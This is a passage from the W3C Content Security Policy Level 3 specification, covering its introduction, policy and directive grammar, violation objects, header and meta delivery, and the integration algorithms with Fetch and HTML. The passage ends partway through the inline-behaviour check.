Content Security Policy Level 3

Status of this document

Table of Contents

1. 1 Introduction
   1. 1.1 Examples
      1. 1.1.1 Control Execution
   2. 1.2 Goals
   3. 1.3 Changes from Level 2
2. 2 Framework
   1. 2.1 Infrastructure
   2. 2.2 Policies
      1. 2.2.1 Parse a serialized CSP
      2. 2.2.2 Parse responses Content Security Policies
   3. 2.3 Directives
      1. 2.3.1 Source Lists
   4. 2.4 Violations
      1. 2.4.1 Create a violation object for global, policy, and directive
      2. 2.4.2 Create a violation object for request, and policy.
3. 3 Policy Delivery
   1. 3.1 The Content-Security-Policy HTTP Response Header Field
   2. 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field
   3. 3.3 The <meta> element
4. 4 Integrations
   1. 4.1 Integration with Fetch
      1. 4.1.1 Report Content Security Policy violations for request
      2. 4.1.2 Should request be blocked by Content Security Policy?
      3. 4.1.3 Should response to request be blocked by Content Security Policy?
      4. 4.1.4 Potentially report hash
   2. 4.2 Integration with HTML
      1. 4.2.1 Run CSP initialization for a Document
      2. 4.2.2 Retrieve the CSP list of an object
      3. 4.2.3 Should elements inline type behavior be blocked by Content Security Policy?
      4. 4.2.4 Should navigation request of type be blocked by Content Security Policy?
      5. 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?
      6. 4.2.6 Run CSP initialization for a global object
   3. 4.3 Integration with WebRTC
      1. 4.3.1 Should RTC connections be blocked for global?
   4. 4.4 Integration with ECMAScript
      1. 4.4.1 EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)
   5. 4.5 Integration with WebAssembly
      1. 4.5.1 EnsureCSPDoesNotBlockWasmByteCompilationrealm
5. 5 Reporting
   1. 5.1 Violation DOM Events
   2. 5.2 Obtain the blockedURI of a violations resource
   3. 5.3 Obtain the deprecated serialization of violation
   4. 5.4 Strip URL for use in reports
   5. 5.5 Report a violation
6. 6 Content Security Policy Directives
   1. 6.1 Fetch Directives
      1. 6.1.1 child-src
         1. 6.1.1.1 child-src Pre-request check
         2. 6.1.1.2 child-src Post-request check
      2. 6.1.2 connect-src
         1. 6.1.2.1 connect-src Pre-request check
         2. 6.1.2.2 connect-src Post-request check
      3. 6.1.3 default-src
         1. 6.1.3.1 default-src Pre-request check
         2. 6.1.3.2 default-src Post-request check
         3. 6.1.3.3 default-src Inline Check
      4. 6.1.4 font-src
         1. 6.1.4.1 font-src Pre-request check
         2. 6.1.4.2 font-src Post-request check
      5. 6.1.5 frame-src
         1. 6.1.5.1 frame-src Pre-request check
         2. 6.1.5.2 frame-src Post-request check
      6. 6.1.6 img-src
         1. 6.1.6.1 img-src Pre-request check
         2. 6.1.6.2 img-src Post-request check
      7. 6.1.7 manifest-src
         1. 6.1.7.1 manifest-src Pre-request check
         2. 6.1.7.2 manifest-src Post-request check
      8. 6.1.8 media-src
         1. 6.1.8.1 media-src Pre-request check
         2. 6.1.8.2 media-src Post-request check
      9. 6.1.9 object-src
         1. 6.1.9.1 object-src Pre-request check
         2. 6.1.9.2 object-src Post-request check
      10. 6.1.10 script-src
          1. 6.1.10.1 script-src Pre-request check
          2. 6.1.10.2 script-src Post-request check
          3. 6.1.10.3 script-src Inline Check
      11. 6.1.11 script-src-elem
          1. 6.1.11.1 script-src-elem Pre-request check
          2. 6.1.11.2 script-src-elem Post-request check
          3. 6.1.11.3 script-src-elem Inline Check
      12. 6.1.12 script-src-attr
          1. 6.1.12.1 script-src-attr Inline Check
      13. 6.1.13 style-src
          1. 6.1.13.1 style-src Pre-request Check
          2. 6.1.13.2 style-src Post-request Check
          3. 6.1.13.3 style-src Inline Check
      14. 6.1.14 style-src-elem
          1. 6.1.14.1 style-src-elem Pre-request Check
          2. 6.1.14.2 style-src-elem Post-request Check
          3. 6.1.14.3 style-src-elem Inline Check
      15. 6.1.15 style-src-attr
          1. 6.1.15.1 style-src-attr Inline Check
   2. 6.2 Other Directives
      1. 6.2.1 webrtc
         1. 6.2.1.1 webrtc Pre-connect Check
      2. 6.2.2 worker-src
         1. 6.2.2.1 worker-src Pre-request Check
         2. 6.2.2.2 worker-src Post-request Check
   3. 6.3 Document Directives
      1. 6.3.1 base-uri
         1. 6.3.1.1 Is base allowed for document?
      2. 6.3.2 sandbox
         1. 6.3.2.1 sandbox Initialization
   4. 6.4 Navigation Directives
      1. 6.4.1 form-action
         1. 6.4.1.1 form-action Pre-Navigation Check
      2. 6.4.2 frame-ancestors
         1. 6.4.2.1 frame-ancestors Navigation Response Check
         2. 6.4.2.2 Relation to ``X-Frame-Options``
   5. 6.5 Reporting Directives
      1. 6.5.1 report-uri
      2. 6.5.2 report-to
   6. 6.6 Directives Defined in Other Documents
   7. 6.7 Matching Algorithms
      1. 6.7.1 Script directive checks
         1. 6.7.1.1 Script directives pre-request check
         2. 6.7.1.2 Script directives post-request check
      2. 6.7.2 URL Matching
         1. 6.7.2.1 Does request violate policy?
         2. 6.7.2.2 Does resource hint request violate policy?
         3. 6.7.2.3 Does nonce match source list?
         4. 6.7.2.4 Does integrity metadata match source list?
         5. 6.7.2.5 Does request match source list?
         6. 6.7.2.6 Does response to request match source list?
         7. 6.7.2.7 Does url match source list in origin with redirect count?
         8. 6.7.2.8 Does url match expression in origin with redirect count?
         9. 6.7.2.9 scheme-part matching
         10. 6.7.2.10 host-part matching
         11. 6.7.2.11 port-part matching
         12. 6.7.2.12 path-part matching
      3. 6.7.3 Element Matching Algorithms
         1. 6.7.3.1 Is element nonceable?
         2. 6.7.3.2 Does a source list allow all inline behavior for type?
         3. 6.7.3.3 Does element match source list for type and source?
   8. 6.8 Directive Algorithms
      1. 6.8.1 Get the effective directive for request
      2. 6.8.2 Get the effective directive for inline checks
      3. 6.8.3 Get fetch directive fallback list
      4. 6.8.4 Should fetch directive execute
7. 7 Security and Privacy Considerations
   1. 7.1 Nonce Reuse
   2. 7.2 Nonce Hijacking
      1. 7.2.1 Dangling markup attacks
      2. 7.2.2 Nonce exfiltration via content attributes
   3. 7.3 Nonce Retargeting
   4. 7.4 CSS Parsing
   5. 7.5 Violation Reports
   6. 7.6 Paths and Redirects
   7. 7.7 Secure Upgrades
   8. 7.8 CSP Inheriting to avoid bypasses
8. 8 Authoring Considerations
   1. 8.1 The effect of multiple policies
   2. 8.2 Usage of "'strict-dynamic'"
   3. 8.3 Usage of "'unsafe-hashes'"
   4. 8.4 Allowing external JavaScript via hashes
   5. 8.5 Strict CSP
   6. 8.6 Exfiltration
9. 9 Implementation Considerations
   1. 9.1 Vendor-specific Extensions and Addons
10. 10 IANA Considerations
    1. 10.1 Directive Registry
    2. 10.2 Headers
       1. 10.2.1 Content-Security-Policy
       2. 10.2.2 Content-Security-Policy-Report-Only
11. 11 Acknowledgements
12. Conformance
    1. Document conventions
    2. Conformant Algorithms
13. Index
    1. Terms defined by this specification
    2. Terms defined by reference
14. References
    1. Normative References
    2. Non-Normative References
15. IDL Index
16. Issues Index

1. Introduction

This section is not normative.

This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.

This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.

1.1. Examples

1.1.1. Control Execution

Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. Goals

Content Security Policy aims to do to a few related things:

1. Mitigate the risk of content-injection attacks by giving developers fairly granular control over

   • The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker

   • The execution of inline script

   • Dynamic code execution (via eval() and similar constructs)

   • The application of inline style

2. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.

3. Provide a policy framework which allows developers to reduce the privilege of their applications.

4. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

1.3. Changes from Level 2

This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:

1. The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSPs requirements and restrictions with other specifications (and with Service Workers in particular).

2. The child-src model has been substantially altered:

   1. The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).

   2. A worker-src directive has been added, deferring to child-src if not present (which likewise defers to script-src and eventually default-src).

3. The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.

   Likewise, 'self' now matches https: and wss: variants of the pages origin, even on pages whose scheme is http.

4. Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.

5. The manifest-src directive has been added.

6. The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.

7. The 'strict-dynamic' source expression will now allow script which executes on a page to load more script via non-"parser-inserted" script elements. Details are in 8.2 Usage of "'strict-dynamic'".

8. The 'unsafe-hashes' source expression will now allow event handlers, style attributes and javascript: navigation targets to match hashes. Details in 8.3 Usage of "'unsafe-hashes'".

9. The source expression matching has been changed to require explicit presence of any non-HTTP(S) scheme, rather than local scheme, unless that non-HTTP(S) scheme is the same as the scheme of protected resource, as described in 6.7.2.8 Does url match expression in origin with redirect count?.

10. Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in 8.4 Allowing external JavaScript via hashes.

11. Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.

2. Framework

2.1. Infrastructure

This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on the #rule ABNF extension defined in Section 5.6.1 of [RFC9110], with the modification that OWS is replaced with optional-ascii-whitespace. That is, the #rule used in this document is defined as:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

and for n >= 1 and m > 1:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].

The following definitions are used to improve readability of other definitions in this document.

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; These productions match the definition of ASCII whitespace from the INFRA standard.

2.2. Policies

A policy defines allowed and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope.

Each policy has an associated directive set, which is an ordered set of directives that define the policys implications when applied.

Each policy has an associated disposition, which is either "enforce" or "report".

Each policy has an associated source, which is either "header" or "meta".

Multiple policies can be applied to a single resource. A CSP list is a struct consisting of policies (a list of policies) and a self-origin (an origin which is used when matching the 'self' keyword).

Note: This is needed to facilitate the 'self' checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings objects origin.

A CSP list contains a header-delivered Content Security Policy if its policies contain a policy whose source is "header".

A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

2.2.1. Parse a serialized CSP

To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.

This algorithm returns a Content Security Policy object. If serialized could not be parsed, the objects directive set will be empty.

1. If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.

2. Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.

3. For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):

   1. Strip leading and trailing ASCII whitespace from token.

   2. If token is an empty string, or if token is not an ASCII string, continue.

   3. Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.

   4. Set directive name to be the result of running ASCII lowercase on directive name.

      Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.

   5. If policys directive set contains a directive whose name is directive name, continue.

      Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

   6. Let directive value be the result of splitting token on ASCII whitespace.

   7. Let directive be a new directive whose name is directive name, and value is directive value.

   8. Append directive to policys directive set.

4. Return policy.

2.2.2. Parse responses Content Security Policies

To parse a responses Content Security Policies given a response response, execute the following steps.

This algorithm returns a CSP list. If the policies cannot be parsed, the returned list will have empty policies.

1. Let policies be an empty list.

2. For each token returned by extracting header list values given Content-Security-Policy and responses header list:

   1. Let policy be the result of parsing token, with a source of "header", and a disposition of "enforce".

   2. If policys directive set is not empty, append policy to policies.

3. For each token returned by extracting header list values given Content-Security-Policy-Report-Only and responses header list:

   1. Let policy be the result of parsing token, with a source of "header", and a disposition of "report".

   2. If policys directive set is not empty, append policy to policies.

4. Return a CSP list whose policies is policies and self-origin is responses urls origin.

Note: When parsing a responses Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the contains a header-delivered Content Security Policy algorithm.

2.3. Directives

Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in 6 Content Security Policy Directives.

Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.

A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; Directive values may contain whitespace and VCHAR characters,
                       ; excluding ";" and ",". The second half of the definition
                       ; above represents all VCHAR characters (%x21-%x7E)
                       ; without ";" and "," (%x3B and %x2C respectively)

; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.

Directives have a number of associated algorithms:

1. A pre-request check, which takes a request, a policy, and an origin as an argument, and is executed during 4.1.2 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

2. A post-request check, which takes a request, a response, a policy and an origin as arguments, and is executed during 4.1.3 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

3. An inline check, which takes an Element, a type string, a policy, and a source string as arguments, and is executed during 4.2.3 Should elements inline type behavior be blocked by Content Security Policy? and during 4.2.4 Should navigation request of type be blocked by Content Security Policy? for javascript: requests. This algorithm returns "Allowed" unless otherwise specified.

4. An initialization, which takes a Document or global object and a policy as arguments. This algorithm is executed during 4.2.1 Run CSP initialization for a Document and 4.2.6 Run CSP initialization for a global object. Unless otherwise specified, it has no effect and it returns "Allowed".

5. A pre-navigation check, which takes a request, a navigation type string ("form-submission" or "other"), a policy and an origin as arguments, and is executed during 4.2.4 Should navigation request of type be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

6. A navigation response check, which takes a request, a navigation type string ("form-submission" or "other"), a response, a navigable, a check type string ("source" or "response"), a policy, and an origin as arguments, and is executed during 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

7. A webrtc pre-connect check, which takes a policy, and is executed during 4.3.1 Should RTC connections be blocked for global?. It returns "Allowed" unless otherwise specified.

2.3.1. Source Lists

Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:

1. Keywords such as 'none' and 'self' (which match nothing and the current URLs origin, respectively)

2. Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)

3. Schemes such as https: (which matches any resource having the specified scheme)

4. Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the hosts subdomains, and any of its subdomains' subdomains, and so on)

5. Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)

6. Digests such as 'sha256-abcd...' (which can match specific elements on a page)

A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'" / "'unsafe-webtransport-hashes'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain .de MUST be represented as xn--tdaaaaaa.de.

Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see 6.7.2.7 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesnt actually care about any underlying value, nor does it do any decoding of the nonce-source value.

2.4. Violations

A violation represents an action or resource which goes against the set of policy objects associated with a global object.

Each violation has a global object, which is the global object whose policy has been violated.

Each violation has a url which is its global objects URL.

Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.

Each violation has a resource, which is either null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" or a URL. It represents the resource which violated the policy.

Note: The value null for a violations resource is only allowed while the violation is being populated. By the time the violation is reported and its resource is used for obtaining the blocked URI, the violations resource should be populated with a URL or one of the allowed strings.

Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy was violated.

Each violation has a policy, which is the policy that has been violated.

Each violation has a disposition, which is the disposition of the policy that has been violated.

Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.

Each violation has a source file, which is either null or a URL.

Each violation has a line number, which is a non-negative integer.

Each violation has a column number, which is a non-negative integer.

Each violation has a element, which is either null or an element.

Each violation has a sample, which is a string. It is the empty string unless otherwise specified.

Note: A violations sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.

2.4.1. Create a violation object for global, policy, and directive

Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:

1. Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

2. If the user agent is currently executing script, and can extract a source files URL, line number, and column number from the global, set violations source file, line number, and column number accordingly.

   Is this kind of thing specified anywhere? I didnt see anything that looked useful in [ECMA262].

   Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If thats not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.

3. If global is a Window object, set violations referrer to globals documents referrer.

4. Set violations status to the HTTP status code for the resource associated with violations global object.

   How, exactly, do we get the status code? We dont actually store it anywhere.

5. Return violation.

2.4.2. Create a violation object for request, and policy.

Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:

1. Let directive be the result of executing 6.8.1 Get the effective directive for request on request.

2. Let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on requests clients global object, policy, and directive.

3. Set violations resource to requests url.

   Note: We use requests url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

4. Return violation.

3. Policy Delivery

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in 3.1 The Content-Security-Policy HTTP Response Header Field and 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in 4.1 Integration with Fetch and 4.2 Integration with HTML.

A policy may also be declared inline in an HTML document via a meta elements http-equiv attribute, as described in 3.3 The <meta> element.

3.1. The Content-Security-Policy HTTP Response Header Field

The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The headers value is represented by the following ABNF [RFC5234]:

Content-Security-Policy = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy header field values with different representations of the same resource.

When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in 4.1 Integration with Fetch, 4.2 Integration with HTML.

3.2. The Content-Security-Policy-Report-Only HTTP Response Header Field

The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The headers value is represented by the following ABNF [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once theyve gained confidence in that behavior.

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.

When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in 4.1 Integration with Fetch and 4.2 Integration with HTML.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. The <meta> element

A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Implementation details can be found in HTMLs Content Security Policy state http-equiv processing instructions [HTML].

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where theyre specified. The general impact of enforcing multiple policies is described in 8.1 The effect of multiple policies.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

4. Integrations

This section is non-normative.

This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.

4.1. Integration with Fetch

A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.

1. 4.1.2 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.

2. 4.1.3 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks to be executed on the response delivered from the network or from a Service Worker.

4.1.1. Report Content Security Policy violations for request

Given a request request, this algorithm reports violations based on policy containers CSP list "report only" policies.

1. Let CSP list be requests policy containers CSP list.

2. For each policy of CSP lists policies:

   1. If policys disposition is "enforce", then skip to the next policy.

   2. Let violates be the result of executing 6.7.2.1 Does request violate policy? on request, policy, and CSP lists self-origin.

   3. If violates is not "Does Not Violate", then execute 5.5 Report a violation on the result of executing 2.4.2 Create a violation object for request, and policy. on request, and policy.

4.1.2. Should request be blocked by Content Security Policy?

Given a request request, this algorithm returns Blocked or Allowed and reports violations based on requests policy containers CSP list.

1. Let CSP list be requests policy containers CSP list.

2. Let result be "Allowed".

3. For each policy of CSP lists policies:

   1. If policys disposition is "report", then skip to the next policy.

   2. Let violates be the result of executing 6.7.2.1 Does request violate policy? on request, policy, and CSP lists self-origin.

   3. If violates is not "Does Not Violate", then:

      1. Execute 5.5 Report a violation on the result of executing 2.4.2 Create a violation object for request, and policy. on request, and policy.

      2. Set result to "Blocked".

4. Return result.

4.1.3. Should response to request be blocked by Content Security Policy?

Given a response response and a request request, this algorithm returns Blocked or Allowed, and reports violations based on requests policy containers CSP list.

1. Let CSP list be requests policy containers CSP list.

2. Let result be "Allowed".

3. For each policy of CSP lists policies:

   1. For each directive of policy:

      1. If the result of executing directives post-request check on request, response, policy, and CSP lists self-origin is "Blocked", then:

         1. Execute 5.5 Report a violation on the result of executing 2.4.2 Create a violation object for request, and policy. on request, and policy.

         2. If policys disposition is "enforce", then set result to "Blocked".

   Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasnt substituted a file which would violate the pages CSP.

4. Return result.

4.1.4. Potentially report hash

Given a response response, a request request, a directive directive and a content security policy object policy, run the following steps:

1. Let algorithm be the empty string.

2. If directives value contains the expression "'report-sha256'", set algorithm to "sha256".

3. If directives value contains the expression "'report-sha384'", set algorithm to "sha384".

4. If directives value contains the expression "'report-sha512'", set algorithm to "sha512".

5. If algorithm is the empty string, return.

6. Let hash be the empty string.

7. If response is CORS-same-origin, then:

   1. Let h be the result of applying algorithm to bytes on responses body and algorithm.

   2. Let hash be the concatenation of algorithm, U+2D (-), and h.

8. Let global be the requests clients global object.

9. If global is not a Window, return.

10. Let stripped document URL to be the result of executing 5.4 Strip URL for use in reports on globals documents URL.

11. If policys directive set does not contain a directive named "report-to", return.

12. Let report-to directive be a directive named "report-to" from policys directive set.

13. Let body be a csp hash report body with stripped document URL as its documentURL, requests URL as its subresourceURL, hash as its hash, requests destination as its destination, and "subresource" as its type.

14. Generate and queue a report with the following arguments:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directives value.

    data

    body

4.2. Integration with HTML

1. The policy container has a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated from the response by parsing responses Content Security Policies or inherited following the rules of the policy container.

2. A global objects CSP list is the result of executing 4.2.2 Retrieve the CSP list of an object with the global object as the object.

3. A policy is enforced or monitored for a global object by inserting it into the global objects CSP list.

4. 4.2.1 Run CSP initialization for a Document is called during the create and initialize a new Document object algorithm.

5. 4.2.3 Should elements inline type behavior be blocked by Content Security Policy? is called during the prepare the script element and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.

6. 4.2.3 Should elements inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.

7. policy is enforced during processing of the meta elements http-equiv.

8. HTML populates each requests cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.

   Stylesheet loading is not yet integrated with Fetch in WHATWGs HTML. [whatwg/html Issue #968]

9. 6.3.1.1 Is base allowed for document? is called during bases set the frozen base URL algorithm to ensure that the href attributes value is valid.

10. 4.2.4 Should navigation request of type be blocked by Content Security Policy? is called during the create navigation params by fetching algorithm, and 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy? is called during the attempt to populate the history entrys document algorithm to apply directives navigation checks, as well as inline checks for navigations to javascript: URLs.

11. 4.2.6 Run CSP initialization for a global object is called during the run a worker algorithm.

12. The sandbox directive is used to populate the CSP-derived sandboxing flags.

4.2.1. Run CSP initialization for a Document

Given a Document document, the user agent performs the following steps in order to initialize CSP for document:

1. For each policy of documents policy containers CSP list:

   1. For each directive of policy:

      1. Execute directives initialization algorithm on document and policy, and assert: its returned value is "Allowed".

4.2.2. Retrieve the CSP list of an object

To obtain objects CSP list:

1. If object is a Document return objects policy containers CSP list.

2. If object is a Window or a WorkerGlobalScope or a WorkletGlobalScope, return environment settings objects policy containers CSP list.

3. Return null.

4.2.3. Should elements inline type behavior be blocked by Content Security Policy?

Given an Element element, a string type, and a string source this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:

Note: The valid values for type are "script", "script attribute", "style", and "style attribute".

1. Assert: element is not null.

2. Let result be "Allowed".

3. For each policy of elements Documents global objects CSP lists policies:

   1. For each directive of policys directive set:

      1. If directives inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.

      2. Let directive-name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

      3. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on the current settings objects global object, policy, and directive-name.

      4. Set violations resource to "inline".

      5. Set violations element to element.

      6. If directives value contains the expression "'report-sample'", then set violations sample to the substring of source containing its first 40 characters.

      7. Execute 5.5 Report a violation on violation.

